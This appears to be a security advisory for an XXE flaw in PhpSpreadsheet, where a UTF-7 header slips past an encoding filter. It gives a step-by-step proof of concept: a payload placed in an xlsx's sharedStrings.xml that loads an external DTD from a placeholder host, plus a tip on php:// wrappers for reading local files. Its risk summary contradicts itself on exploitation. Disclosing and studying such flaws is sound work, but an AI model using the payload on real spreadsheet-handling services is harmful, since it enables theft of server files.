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GHSA-ghg6-32f9-2jp7

HighCVSS 8.8 / 10
Published Aug 29, 2024·Last modified Mar 6, 2025
Affected Components(0)

No affected components available

Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.57%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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